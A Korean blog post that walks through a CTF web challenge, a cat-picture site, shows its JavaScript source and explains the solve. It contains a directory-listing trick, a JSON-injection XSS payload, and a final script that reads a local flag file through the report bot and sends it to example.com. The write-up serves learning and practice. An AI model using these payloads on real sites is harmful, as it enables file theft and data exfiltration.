문제에 들어가면 귀여운 고양이 사진이 보인다. 일단 소스코드를 확인해보면
<html>
<head>
<title>My cats</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script>
function getNewCats(kind) {
$.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind, function(data) {
if(data.status != 'ok')
{
return;
}
$('#cats_container').empty();
cats = data.content;
cats.forEach(function(cat) {
var newDiv = document.createElement('div');
newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';
$('#cats_container').append(newDiv);
});
});
}
$(document).ready(function() {
$('#cat_select').change(function() {
var kind = $(this).val();
history.pushState({}, '', '?'+kind)
getNewCats(kind);
});
var kind = window.location.search.substring(1);
if(kind == "")
{
kind = 'black';
}
getNewCats(kind);
});
</script>
</head>
<body>
<select id="cat_select">
<option value="black">black</option>
<option value="grey">grey</option>
<option value="red">red</option>
<option value="white">white</option>
</select>
<div id="cats_container"></div>
not like sumthing? send it <a href="/report">hier</a>
</body>
</html>
위와 같이 코드가 되있는데 나는 http://catweb.zajebistyc.tf/cats?kind=
이부분이 수상해보였고 접속해보니 다음과 같았다.
kind 파라미터 값에 따라서 json형식으로 사진파일이름을 전달해주는 것 같았다.
아무거나 넣어보고 있었는데 ?kind=/
형식으로 전달해주니 내부 디렉토리를 보는 것이 가능했다.
플래그는 templates폴더 내부에 존재했지만 flag.txt에 접근하는 것은 안됬다(404가 뜬다)
문제에서 보면 report기능이 있는 것으로 봐서 xss문제라고 생각했고 json형식으로 값이 전달될 때 우리가 원하는 스크립트가 함께 반환되게 하면 될 것 같았다.
html코드를 보면
if(data.status != 'ok')
{
return;
}
위의 부분에서 반환된 json의 status값이 ok여야 되는데 간단하게http://catweb.zajebistyc.tf/?", "status": "ok", "content": ["5.jpg"], "content" :["aaaa\"><script>alert('xss')</script>"], "asd": "
위와 같이 값을 전달해주면 xss를 터트리는 것이 가능하다. (간단한 js트릭을 이용하면 된다.)
그럼 이제 report기능을 이용해서 플래그를 얻으면 된다. 우리는 플래그가 /app/templates/flag.txt
에 있다는 것도 알고 스크립트를 실행시킬 수 있기 때문에 다 푼거나 마찬가지다. 그런데 나는 여기서 막혔다.
왜냐하면 일단 자바스크립트에선 로컬파일에 접근하는 것이 기본적으로 막혀있고 SOP때문에 http://에선 file://로 접근하는 것도 불가능하다.file:///app/templates/index.html?adsf", "status": "ok", "content":["a\"><script>let xhr = new XMLHttpRequest();xhr.onload=()=>{location.href='example.com/?q=' %2bxhr.responseText}; xhr.open('GET', 'flag.txt', false); xhr.send(); </script>"], "b": "
이렇게 링크를 넘겨주면 file://app/templates/index.html
로 봇이 접속하게 되고 xhr.open을 통해서file://app/templates/flag.txt
로 접근하는 것이 가능하다.
그럼 flag.txt를 불러올 수 있고 내 서버에서 플래그를 확인 할 수 있다.
FLAG : p4{can_i_haz_a_piece_of_flag_pliz?}
'ctf writeup' 카테고리의 다른 글
사이버작전경연대회 2020 본선 - [Web] PMS writeup (0) | 2020.10.19 |
---|---|
SSTF CTF 2020 Web - Migration (0) | 2020.08.18 |
m0leCon CTF 2020 Teaser Web Writeup (0) | 2020.05.25 |
Christmas CTF web writeup (0) | 2019.12.26 |
영남이공대 Hacking Championship Junior CTF writeup (0) | 2019.10.27 |